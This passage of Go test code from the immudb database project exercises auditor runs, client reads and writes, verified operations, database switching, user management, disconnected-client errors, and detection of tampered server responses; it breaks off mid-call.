alertConfig := auditor.AuditNotificationConfig{ URL: "http://some-non-existent-url.com", Username: "some-username", Password: "some-password", PublishFunc: func(req *http.Request) (*http.Response, error) { return &http.Response{ Status: http.StatusText(http.StatusNoContent), StatusCode: http.StatusNoContent, Body: ioutil.NopCloser(strings.NewReader("All good")), }, nil }, } auditorDir := t.TempDir() da, err := auditor.DefaultAuditor( time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), ds, "immudb", "immudb", []string{"SomeNonExistentDb", ""}, nil, alertConfig, serviceClient, state.NewUUIDProvider(serviceClient), cache.NewHistoryFileCache(auditorDir), func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {}, logger.NewSimpleLogger("test", os.Stdout), nil) require.NoError(t, err) auditorStop := make(chan struct{}, 1) auditorDone := make(chan struct{}, 1) go da.Run(time.Duration(100)*time.Millisecond, false, auditorStop, auditorDone) time.Sleep(time.Duration(2) * time.Second) auditorStop <- struct{}{} <-auditorDone } func TestDefaultAuditorRunOnDbWithSignature(t *testing.T) { pk, err := signer.ParsePublicKeyFile("./../../test/signer/ec3.pub") require.NoError(t, err) testDefaultAuditorRunOnDbWithSignature(t, pk) } func TestDefaultAuditorRunOnDbWithSignatureFromState(t *testing.T) { testDefaultAuditorRunOnDbWithSignature(t, nil) } func testDefaultAuditorRunOnDbWithSignature(t *testing.T, pk *ecdsa.PublicKey) { pKeyPath := "./../../test/signer/ec3.key" bs := servertest.NewBufconnServer( server.DefaultOptions(). WithDir(t.TempDir()). WithAuth(true). WithSigningKey(pKeyPath). WithAdminPassword(auth.SysAdminPassword)) bs.Start() defer bs.Stop() ctx := context.Background() pr := &PasswordReader{ Pass: []string{"immudb"}, } dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } tkf := cmdtest.RandString() ts := tokenservice. NewFileTokenService(). WithTokenFileName(tkf). WithHds(newMockHomedir()) cliopt := client. DefaultOptions(). WithDir(t.TempDir()). WithDialOptions(dialOptions). WithPasswordReader(pr) cliopt.PasswordReader = pr cliopt.DialOptions = dialOptions cli, _ := client.NewImmuClient(cliopt) cli.WithTokenService(ts) lresp, err := cli.Login(ctx, []byte("immudb"), []byte("immudb")) require.NoError(t, err) md := metadata.Pairs("authorization", lresp.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) _, err = cli.Set(ctx, []byte(`key`), []byte(`val`)) require.NoError(t, err) ds := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } var clientConn *grpc.ClientConn clientConn, err = grpc.Dial("add", ds...) require.NoError(t, err) serviceClient := schema.NewImmuServiceClient(clientConn) auditorDir := t.TempDir() da, err := auditor.DefaultAuditor( time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), ds, "immudb", "immudb", nil, pk, auditor.AuditNotificationConfig{}, serviceClient, state.NewUUIDProvider(serviceClient), cache.NewHistoryFileCache(auditorDir), func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {}, logger.NewSimpleLogger("test", os.Stdout), nil) require.NoError(t, err) auditorDone := make(chan struct{}, 2) err = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone) require.NoError(t, err) err = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone) require.NoError(t, err) } ================================================ FILE: pkg/integration/client_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "context" "errors" "os" "path/filepath" "testing" "time" "github.com/codenotary/immudb/pkg/client/homedir" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/rs/xid" ic "github.com/codenotary/immudb/pkg/client" immuErrors "github.com/codenotary/immudb/pkg/client/errors" "github.com/codenotary/immudb/pkg/fs" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/server" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/metadata" "google.golang.org/protobuf/types/known/emptypb" ) var testData = struct { keys [][]byte values [][]byte refKeys [][]byte set []byte scores []float64 }{ keys: [][]byte{[]byte("key1"), []byte("key2"), []byte("key3")}, values: [][]byte{[]byte("value1"), []byte("value2"), []byte("value3")}, refKeys: [][]byte{[]byte("refKey1"), []byte("refKey2"), []byte("refKey3")}, set: []byte("set1"), scores: []float64{1.0, 2.0, 3.0}, } func setupTestServerAndClient(t *testing.T) (*servertest.BufconnServer, ic.ImmuClient, context.Context) { bs := servertest.NewBufconnServer(server. DefaultOptions(). WithMetricsServer(true). WithWebServer(true). WithDir(filepath.Join(t.TempDir(), "data")). WithAuth(true). WithLogRequestMetadata(true). WithSigningKey("./../../test/signer/ec1.key")) bs.Start() t.Cleanup(func() { bs.Stop() }) client, err := bs.NewAuthenticatedClient(ic. DefaultOptions(). WithDir(t.TempDir()), ) require.NoError(t, err) t.Cleanup(func() { client.CloseSession(context.Background()) }) return bs, client, context.Background() } func setupTestServerAndClientWithToken(t *testing.T) (*servertest.BufconnServer, ic.ImmuClient, context.Context) { bs := servertest.NewBufconnServer(server. DefaultOptions(). WithDir(t.TempDir()). WithAuth(true). WithSigningKey("./../../test/signer/ec1.key"), ) bs.Start() t.Cleanup(func() { bs.Stop() }) client, err := ic.NewImmuClient(ic. DefaultOptions(). WithDir(t.TempDir()). WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}). WithServerSigningPubKey("./../../test/signer/ec1.pub"), ) require.NoError(t, err) t.Cleanup(func() { client.Disconnect() }) client.WithTokenService(tokenservice.NewInmemoryTokenService()) require.NoError(t, err) resp, err := client.Login(context.Background(), []byte(`immudb`), []byte(`immudb`)) require.NoError(t, err) md := metadata.Pairs("authorization", resp.Token) ctx := metadata.NewOutgoingContext(context.Background(), md) return bs, client, ctx } func testSafeSetAndSafeGet(ctx context.Context, t *testing.T, key []byte, value []byte, client ic.ImmuClient) { _, err := client.VerifiedSet(ctx, key, value) require.NoError(t, err) vi, err := client.VerifiedGet(ctx, key) require.NoError(t, err) require.NotNil(t, vi) require.Equal(t, key, vi.Key) require.Equal(t, value, vi.Value) } func testReference(ctx context.Context, t *testing.T, referenceKey []byte, key []byte, value []byte, client ic.ImmuClient) { _, err := client.SetReference(ctx, referenceKey, key) require.NoError(t, err) vi, err := client.VerifiedGet(ctx, referenceKey) require.NoError(t, err) require.NotNil(t, vi) require.Equal(t, key, vi.Key) require.Equal(t, value, vi.Value) } func testVerifiedReference(ctx context.Context, t *testing.T, key []byte, referencedKey []byte, value []byte, client ic.ImmuClient) { md, err := client.VerifiedSetReference(ctx, key, referencedKey) require.NoError(t, err) vi, err := client.VerifiedGetSince(ctx, key, md.Id) require.NoError(t, err) require.NotNil(t, vi) require.Equal(t, referencedKey, vi.Key) require.Equal(t, value, vi.Value) } func testVerifiedZAdd(ctx context.Context, t *testing.T, set []byte, scores []float64, keys [][]byte, values [][]byte, client ic.ImmuClient) { for i := 0; i < len(scores); i++ { _, err := client.VerifiedZAdd(ctx, set, scores[i], keys[i]) require.NoError(t, err) } itemList, err := client.ZScan(ctx, &schema.ZScanRequest{ Set: set, SinceTx: uint64(len(scores)), }) require.NoError(t, err) require.NotNil(t, itemList) require.Len(t, itemList.Entries, len(keys)) for i := 0; i < len(keys); i++ { require.Equal(t, keys[i], itemList.Entries[i].Entry.Key) require.Equal(t, values[i], itemList.Entries[i].Entry.Value) } } func testZAdd(ctx context.Context, t *testing.T, set []byte, scores []float64, keys [][]byte, values [][]byte, client ic.ImmuClient) { var md *schema.TxHeader var err error for i := 0; i < len(scores); i++ { md, err = client.ZAdd(ctx, set, scores[i], keys[i]) require.NoError(t, err) } itemList, err := client.ZScan(ctx, &schema.ZScanRequest{ Set: set, SinceTx: md.Id, }) require.NoError(t, err) require.NotNil(t, itemList) require.Len(t, itemList.Entries, len(keys)) for i := 0; i < len(keys); i++ { require.Equal(t, keys[i], itemList.Entries[i].Entry.Key) require.Equal(t, values[i], itemList.Entries[i].Entry.Value) } } func testZAddAt(ctx context.Context, t *testing.T, set []byte, scores []float64, keys [][]byte, values [][]byte, at uint64, client ic.ImmuClient) { var md *schema.TxHeader var err error for i := 0; i < len(scores); i++ { md, err = client.ZAddAt(ctx, set, scores[i], keys[i], at) require.NoError(t, err) } itemList, err := client.ZScan(ctx, &schema.ZScanRequest{ Set: set, SinceTx: md.Id, }) require.NoError(t, err) require.NotNil(t, itemList) require.Len(t, itemList.Entries, len(keys)) for i := 0; i < len(keys); i++ { require.Equal(t, keys[i], itemList.Entries[i].Entry.Key) require.Equal(t, values[i], itemList.Entries[i].Entry.Value) } } func testVerifiedZAddAt(ctx context.Context, t *testing.T, set []byte, scores []float64, keys [][]byte, values [][]byte, at uint64, client ic.ImmuClient) { for i := 0; i < len(scores); i++ { _, err := client.VerifiedZAddAt(ctx, set, scores[i], keys[i], at) require.NoError(t, err) } itemList, err := client.ZScan(ctx, &schema.ZScanRequest{ Set: set, SinceTx: uint64(len(scores)), }) require.NoError(t, err) require.NotNil(t, itemList) require.Len(t, itemList.Entries, len(keys)) for i := 0; i < len(keys); i++ { require.Equal(t, keys[i], itemList.Entries[i].Entry.Key) require.Equal(t, values[i], itemList.Entries[i].Entry.Value) } } func testGet(ctx context.Context, t *testing.T, client ic.ImmuClient) { hdr, err := client.VerifiedSet(ctx, []byte("key-n11"), []byte("val-n11")) require.NoError(t, err) item, err := client.GetSince(ctx, []byte("key-n11"), hdr.Id) require.NoError(t, err) require.Equal(t, []byte("key-n11"), item.Key) item, err = client.GetAt(ctx, []byte("key-n11"), hdr.Id) require.NoError(t, err) require.Equal(t, []byte("key-n11"), item.Key) } func testGetAtRevision(ctx context.Context, t *testing.T, client ic.ImmuClient) { key := []byte("key-atrev") _, err := client.Set(ctx, key, []byte("value1")) require.NoError(t, err) _, err = client.Set(ctx, key, []byte("value2")) require.NoError(t, err) _, err = client.Set(ctx, key, []byte("value3")) require.NoError(t, err) _, err = client.Set(ctx, key, []byte("value4")) require.NoError(t, err) item, err := client.GetAtRevision(ctx, key, 0) require.NoError(t, err) require.Equal(t, key, item.Key) require.Equal(t, []byte("value4"), item.Value) require.EqualValues(t, 4, item.Revision) vitem, err := client.VerifiedGetAtRevision(ctx, key, 0) require.NoError(t, err) require.Equal(t, key, vitem.Key) require.Equal(t, []byte("value4"), vitem.Value) require.EqualValues(t, 4, vitem.Revision) item, err = client.GetAtRevision(ctx, key, 1) require.NoError(t, err) require.Equal(t, key, item.Key) require.Equal(t, []byte("value1"), item.Value) require.EqualValues(t, 1, item.Revision) vitem, err = client.VerifiedGetAtRevision(ctx, key, 1) require.NoError(t, err) require.Equal(t, key, vitem.Key) require.Equal(t, []byte("value1"), vitem.Value) require.EqualValues(t, 1, vitem.Revision) item, err = client.GetAtRevision(ctx, key, -1) require.NoError(t, err) require.Equal(t, key, item.Key) require.Equal(t, []byte("value3"), item.Value) require.EqualValues(t, 3, item.Revision) vitem, err = client.VerifiedGetAtRevision(ctx, key, -1) require.NoError(t, err) require.Equal(t, key, vitem.Key) require.Equal(t, []byte("value3"), vitem.Value) require.EqualValues(t, 3, vitem.Revision) item, err = client.Get(ctx, key, ic.AtRevision(-1)) require.NoError(t, err) require.Equal(t, key, item.Key) require.Equal(t, []byte("value3"), item.Value) require.EqualValues(t, 3, item.Revision) vitem, err = client.VerifiedGet(ctx, key, ic.AtRevision(-1)) require.NoError(t, err) require.Equal(t, key, vitem.Key) require.Equal(t, []byte("value3"), vitem.Value) require.EqualValues(t, 3, vitem.Revision) } func testGetTxByID(ctx context.Context, t *testing.T, set []byte, scores []float64, keys [][]byte, values [][]byte, client ic.ImmuClient) { vi1, err := client.VerifiedSet(ctx, []byte("key-n11"), []byte("val-n11")) require.NoError(t, err) item1, err := client.TxByID(ctx, vi1.Id) require.Equal(t, vi1.Ts, item1.Header.Ts) require.NoError(t, err) } func testImmuClient_VerifiedTxByID(ctx context.Context, t *testing.T, set []byte, scores []float64, keys [][]byte, values [][]byte, client ic.ImmuClient) { vi1, err := client.VerifiedSet(ctx, []byte("key-n11"), []byte("val-n11")) require.NoError(t, err) item1, err3 := client.VerifiedTxByID(ctx, vi1.Id) require.Equal(t, vi1.Ts, item1.Header.Ts) require.NoError(t, err3) _, err = client.VerifiedSet(ctx, []byte("key-n12"), []byte("val-n12")) require.NoError(t, err) item1, err3 = client.VerifiedTxByID(ctx, vi1.Id) require.Equal(t, vi1.Ts, item1.Header.Ts) require.NoError(t, err3) } func TestImmuClient(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) testSafeSetAndSafeGet(ctx, t, testData.keys[0], testData.values[0], client) testSafeSetAndSafeGet(ctx, t, testData.keys[1], testData.values[1], client) testSafeSetAndSafeGet(ctx, t, testData.keys[2], testData.values[2], client) testVerifiedReference(ctx, t, testData.refKeys[0], testData.keys[0], testData.values[0], client) testVerifiedReference(ctx, t, testData.refKeys[1], testData.keys[1], testData.values[1], client) testVerifiedReference(ctx, t, testData.refKeys[2], testData.keys[2], testData.values[2], client) testZAdd(ctx, t, testData.set, testData.scores, testData.keys, testData.values, client) testZAddAt(ctx, t, testData.set, testData.scores, testData.keys, testData.values, 0, client) testVerifiedZAdd(ctx, t, testData.set, testData.scores, testData.keys, testData.values, client) testVerifiedZAddAt(ctx, t, testData.set, testData.scores, testData.keys, testData.values, 0, client) testReference(ctx, t, testData.refKeys[0], testData.keys[0], testData.values[0], client) testGetTxByID(ctx, t, testData.set, testData.scores, testData.keys, testData.values, client) testImmuClient_VerifiedTxByID(ctx, t, testData.set, testData.scores, testData.keys, testData.values, client) testGet(ctx, t, client) testGetAtRevision(ctx, t, client) } func TestImmuClientTampering(t *testing.T) { bs, client, ctx := setupTestServerAndClient(t) _, err := client.Set(ctx, []byte{0}, []byte{0}) require.NoError(t, err) bs.Server.PostSetFn = func(ctx context.Context, req *schema.SetRequest, res *schema.TxHeader, err error) (*schema.TxHeader, error) { if err != nil { return res, err } res.Nentries = 0 return res, nil } _, err = client.Set(ctx, []byte{1}, []byte{1}) require.ErrorIs(t, err, store.ErrCorruptedData) _, err = client.SetAll(ctx, &schema.SetRequest{ KVs: []*schema.KeyValue{{Key: []byte{1}, Value: []byte{1}}}, }) require.ErrorIs(t, err, store.ErrCorruptedData) bs.Server.PostVerifiableSetFn = func(ctx context.Context, req *schema.VerifiableSetRequest, res *schema.VerifiableTx, err error) (*schema.VerifiableTx, error) { if err != nil { return res, err } res.Tx.Header.Nentries = 0 return res, nil } _, err = client.VerifiedSet(ctx, []byte{1}, []byte{1}) require.ErrorIs(t, err, store.ErrCorruptedData) bs.Server.PostSetReferenceFn = func(ctx context.Context, req *schema.ReferenceRequest, res *schema.TxHeader, err error) (*schema.TxHeader, error) { if err != nil { return res, err } res.Nentries = 0 return res, nil } _, err = client.SetReference(ctx, []byte{2}, []byte{1}) require.ErrorIs(t, err, store.ErrCorruptedData) bs.Server.PostVerifiableSetReferenceFn = func(ctx context.Context, req *schema.VerifiableReferenceRequest, res *schema.VerifiableTx, err error) (*schema.VerifiableTx, error) { if err != nil { return res, err } res.Tx.Header.Nentries = 0 return res, nil } _, err = client.VerifiedSetReference(ctx, []byte{2}, []byte{1}) require.ErrorIs(t, err, store.ErrCorruptedData) bs.Server.PostZAddFn = func(ctx context.Context, req *schema.ZAddRequest, res *schema.TxHeader, err error) (*schema.TxHeader, error) { if err != nil { return res, err } res.Nentries = 0 return res, nil } _, err = client.ZAdd(ctx, []byte{7}, 1, []byte{1}) require.ErrorIs(t, err, store.ErrCorruptedData) bs.Server.PostVerifiableZAddFn = func(ctx context.Context, req *schema.VerifiableZAddRequest, res *schema.VerifiableTx, err error) (*schema.VerifiableTx, error) { if err != nil { return res, err } res.Tx.Header.Nentries = 0 return res, nil } _, err = client.VerifiedZAdd(ctx, []byte{7}, 1, []byte{1}) require.ErrorIs(t, err, store.ErrCorruptedData) bs.Server.PostExecAllFn = func(ctx context.Context, req *schema.ExecAllRequest, res *schema.TxHeader, err error) (*schema.TxHeader, error) { if err != nil { return res, err } res.Nentries = 0 return res, nil } aOps := &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte(`key`), Value: []byte(`val`), }, }, }, }, } _, err = client.ExecAll(ctx, aOps) require.ErrorIs(t, err, store.ErrCorruptedData) } func TestReplica(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) err := client.CreateDatabase(ctx, &schema.DatabaseSettings{ DatabaseName: "db1", Replica: true, PrimaryDatabase: "defaultdb", }) require.NoError(t, err) resp, err := client.UseDatabase(ctx, &schema.Database{ DatabaseName: "db1", }) require.NoError(t, err) require.NotEmpty(t, resp.Token) err = client.UpdateDatabase(ctx, &schema.DatabaseSettings{ DatabaseName: "db1", Replica: true, }) require.NoError(t, err) md := metadata.Pairs("authorization", resp.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) _, err = client.VerifiedSet(ctx, []byte(`db1-key1`), []byte(`db1-value1`)) require.ErrorContains(t, err, database.ErrIsReplica.Error()) } func TestDatabasesSwitching(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) err := client.CreateDatabase(ctx, &schema.DatabaseSettings{ DatabaseName: "db1", }) require.NoError(t, err) resp, err := client.UseDatabase(ctx, &schema.Database{ DatabaseName: "db1", }) require.NoError(t, err) require.NotEmpty(t, resp.Token) md := metadata.Pairs("authorization", resp.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) _, err = client.VerifiedSet(ctx, []byte(`db1-my`), []byte(`item`)) require.NoError(t, err) err = client.CreateDatabase(ctx, &schema.DatabaseSettings{ DatabaseName: "db2", }) require.NoError(t, err) resp2, err := client.UseDatabase(ctx, &schema.Database{ DatabaseName: "db2", }) require.NoError(t, err) require.NotEmpty(t, resp2.Token) md = metadata.Pairs("authorization", resp2.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) _, err = client.VerifiedSet(ctx, []byte(`db2-my`), []byte(`item`)) require.NoError(t, err) vi, err := client.VerifiedGet(ctx, []byte(`db1-my`)) require.ErrorContains(t, err, "key not found") require.Nil(t, vi) } func TestDatabasesSwitchingWithInMemoryToken(t *testing.T) { _, client, _ := setupTestServerAndClient(t) err := client.CreateDatabase(context.Background(), &schema.DatabaseSettings{ DatabaseName: "db1", }) require.NoError(t, err) resp, err := client.UseDatabase(context.Background(), &schema.Database{ DatabaseName: "db1", }) require.NoError(t, err) require.NotEmpty(t, resp.Token) _, err = client.VerifiedSet(context.Background(), []byte(`db1-my`), []byte(`item`)) require.NoError(t, err) err = client.CreateDatabase(context.Background(), &schema.DatabaseSettings{ DatabaseName: "db2", }) require.NoError(t, err) resp2, err := client.UseDatabase(context.Background(), &schema.Database{ DatabaseName: "db2", }) require.NoError(t, err) require.NotEmpty(t, resp2.Token) _, err = client.VerifiedSet(context.Background(), []byte(`db2-my`), []byte(`item`)) require.NoError(t, err) vi, err := client.VerifiedGet(context.Background(), []byte(`db1-my`)) require.ErrorContains(t, err, "key not found") require.Nil(t, vi) } func TestImmuClientDisconnect(t *testing.T) { _, client, ctx := setupTestServerAndClientWithToken(t) err := client.Disconnect() require.NoError(t, err) require.False(t, client.IsConnected()) err = client.CreateUser(ctx, []byte("user"), []byte("passwd"), 1, "db") require.ErrorIs(t, err, ic.ErrNotConnected) err = client.ChangePassword(ctx, []byte("user"), []byte("oldPasswd"), []byte("newPasswd")) require.ErrorIs(t, err, ic.ErrNotConnected) err = client.UpdateAuthConfig(ctx, auth.KindPassword) require.ErrorIs(t, err, ic.ErrNotConnected) err = client.UpdateMTLSConfig(ctx, false) require.ErrorIs(t, err, ic.ErrNotConnected) err = client.CompactIndex(ctx, &emptypb.Empty{}) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.FlushIndex(ctx, 100, true) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.Login(context.Background(), []byte("user"), []byte("passwd")) require.True(t, errors.Is(err.(immuErrors.ImmuError), ic.ErrNotConnected)) require.True(t, errors.Is(client.Logout(context.Background()), ic.ErrNotConnected)) _, err = client.Get(context.Background(), []byte("key")) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.CurrentState(context.Background()) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.VerifiedGet(context.Background(), []byte("key")) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.GetAll(context.Background(), [][]byte{[]byte(`aaa`), []byte(`bbb`)}) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.Scan(context.Background(), &schema.ScanRequest{ Prefix: []byte("key"), }) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.ZScan(context.Background(), &schema.ZScanRequest{Set: []byte("key")}) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.Count(context.Background(), []byte("key")) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.CountAll(context.Background()) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.Set(context.Background(), []byte("key"), []byte("value")) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.VerifiedSet(context.Background(), []byte("key"), []byte("value")) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.Set(context.Background(), nil, nil) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.Delete(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.ExecAll(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.TxByID(context.Background(), 1) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.VerifiedTxByID(context.Background(), 1) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.TxByIDWithSpec(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.TxScan(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.History(context.Background(), &schema.HistoryRequest{ Key: []byte("key"), }) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.SetReference(context.Background(), []byte("ref"), []byte("key")) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.VerifiedSetReference(context.Background(), []byte("ref"), []byte("key")) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.ZAdd(context.Background(), []byte("set"), 1, []byte("key")) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.VerifiedZAdd(context.Background(), []byte("set"), 1, []byte("key")) require.ErrorIs(t, err, ic.ErrNotConnected) //_, err = client.Dump(context.Background(), nil) //require.Equal(t, ic.ErrNotConnected, err) _, err = client.GetSince(context.Background(), []byte("key"), 0) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.GetAt(context.Background(), []byte("key"), 0) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.ServerInfo(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) err = client.HealthCheck(context.Background()) require.ErrorIs(t, err, ic.ErrNotConnected) err = client.CreateDatabase(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.UseDatabase(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) err = client.ChangePermission(context.Background(), schema.PermissionAction_REVOKE, "userName", "testDBName", auth.PermissionRW) require.ErrorIs(t, err, ic.ErrNotConnected) err = client.SetActiveUser(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.ListUsers(context.Background()) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.DatabaseList(context.Background()) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.DatabaseListV2(context.Background()) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.UpdateDatabaseV2(context.Background(), "defaultdb", nil) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.CurrentState(context.Background()) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.VerifiedSet(context.Background(), nil, nil) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.VerifiedGet(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.VerifiedZAdd(context.Background(), nil, 0, nil) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.VerifiedSetReference(context.Background(), nil, nil) require.ErrorIs(t, err, ic.ErrNotConnected) } func TestImmuClientDisconnectNotConn(t *testing.T) { _, client, _ := setupTestServerAndClientWithToken(t) client.Disconnect() err := client.Disconnect() require.ErrorIs(t, err, ic.ErrNotConnected) } func TestWaitForHealthCheck(t *testing.T) { _, client, _ := setupTestServerAndClient(t) err := client.WaitForHealthCheck(context.Background()) require.NoError(t, err) } func TestWaitForHealthCheckFail(t *testing.T) { client := ic.NewClient() err := client.WaitForHealthCheck(context.Background()) require.ErrorIs(t, err, ic.ErrNotConnected) } func TestSetupDialOptions(t *testing.T) { client := ic.NewClient() ts := TokenServiceMock{} ts.GetTokenF = func() (string, error) { return "token", nil } client.WithTokenService(ts) dialOpts := client.SetupDialOptions(ic.DefaultOptions().WithMTLs(true)) require.NotNil(t, dialOpts) } func TestUserManagement(t *testing.T) { var ( userName = "test" userPassword = "1Password!*" userNewPassword = "2Password!*" testDBName = "test" testDB = &schema.DatabaseSettings{DatabaseName: testDBName} err error usrList *schema.UserList immudbUser *schema.User testUser *schema.User ) _, client, ctx := setupTestServerAndClient(t) err = client.CreateDatabase(ctx, testDB) require.NoError(t, err) err = client.UpdateAuthConfig(ctx, auth.KindPassword) require.ErrorContains(t, err, server.ErrNotSupported.Error()) err = client.UpdateMTLSConfig(ctx, false) require.ErrorContains(t, err, server.ErrNotSupported.Error()) err = client.CreateUser( ctx, []byte(userName), []byte(userPassword), auth.PermissionRW, testDBName, ) require.NoError(t, err) err = client.ChangePermission( ctx, schema.PermissionAction_REVOKE, userName, testDBName, auth.PermissionRW, ) require.NoError(t, err) err = client.SetActiveUser( ctx, &schema.SetActiveUserRequest{ Active: true, Username: userName, }) require.NoError(t, err) err = client.ChangePassword( ctx, []byte(userName), []byte(userPassword), []byte(userNewPassword), ) require.NoError(t, err) usrList, err = client.ListUsers(ctx) require.NoError(t, err) require.NotNil(t, usrList) require.Len(t, usrList.Users, 2) for _, usr := range usrList.Users { switch string(usr.User) { case "immudb": immudbUser = usr case "test": testUser = usr } } require.NotNil(t, immudbUser) require.Equal(t, "immudb", string(immudbUser.User)) require.Len(t, immudbUser.Permissions, 1) require.Equal(t, "*", immudbUser.Permissions[0].GetDatabase()) require.Equal(t, uint32(auth.PermissionSysAdmin), immudbUser.Permissions[0].GetPermission()) require.True(t, immudbUser.Active) require.NotNil(t, testUser) require.Equal(t, "test", string(testUser.User)) require.Len(t, testUser.Permissions, 0) require.Equal(t, "immudb", testUser.Createdby) require.True(t, testUser.Active) } func TestDatabaseManagement(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) err1 := client.CreateDatabase(ctx, &schema.DatabaseSettings{DatabaseName: "test"}) require.NoError(t, err1) resp2, err2 := client.DatabaseList(ctx) require.NoError(t, err2) require.IsType(t, &schema.DatabaseListResponse{}, resp2) require.Len(t, resp2.Databases, 2) resp3, err3 := client.DatabaseListV2(ctx) require.NoError(t, err3) require.IsType(t, &schema.DatabaseListResponseV2{}, resp3) require.Len(t, resp3.Databases, 2) } func TestImmuClient_History(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) _, _ = client.VerifiedSet(ctx, []byte(`key1`), []byte(`val1`)) hdr, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val2`)) require.NoError(t, err) sil, err := client.History(ctx, &schema.HistoryRequest{ Key: []byte(`key1`), SinceTx: hdr.Id, }) require.NoError(t, err) require.Len(t, sil.Entries, 2) } func TestImmuClient_SetAll(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) _, err := client.SetAll(ctx, nil) require.ErrorContains(t, err, "Marshal called with nil") setRequest := &schema.SetRequest{KVs: []*schema.KeyValue{}} _, err = client.SetAll(ctx, setRequest) require.ErrorContains(t, err, "no entries provided") setRequest = &schema.SetRequest{KVs: []*schema.KeyValue{ {Key: []byte("1,2,3"), Value: []byte("3,2,1")}, {Key: []byte("4,5,6"), Value: []byte("6,5,4"), Metadata: &schema.KVMetadata{NonIndexable: true}}, }} _, err = client.SetAll(ctx, setRequest) require.NoError(t, err) _, err = client.FlushIndex(ctx, 1, false) require.NoError(t, err) for _, kv := range setRequest.KVs { i, err := client.Get(ctx, kv.Key) if kv.Metadata != nil && kv.Metadata.NonIndexable { require.Contains(t, err.Error(), "key not found") } else { require.NoError(t, err) require.Equal(t, kv.Value, i.GetValue()) } } err = client.CloseSession(ctx) require.NoError(t, err) _, err = client.SetAll(ctx, setRequest) require.ErrorIs(t, err, ic.ErrNotConnected) } func TestImmuClient_GetAll(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) _, err := client.VerifiedSet(ctx, []byte(`aaa`), []byte(`val`)) require.NoError(t, err) entries, err := client.GetAll(ctx, [][]byte{[]byte(`aaa`), []byte(`bbb`)}) require.NoError(t, err) require.Len(t, entries.Entries, 1) _, err = client.FlushIndex(ctx, 10, true) require.NoError(t, err) _, err = client.VerifiedSet(ctx, []byte(`bbb`), []byte(`val`)) require.NoError(t, err) _, err = client.FlushIndex(ctx, 10, true) require.NoError(t, err) err = client.CompactIndex(ctx, 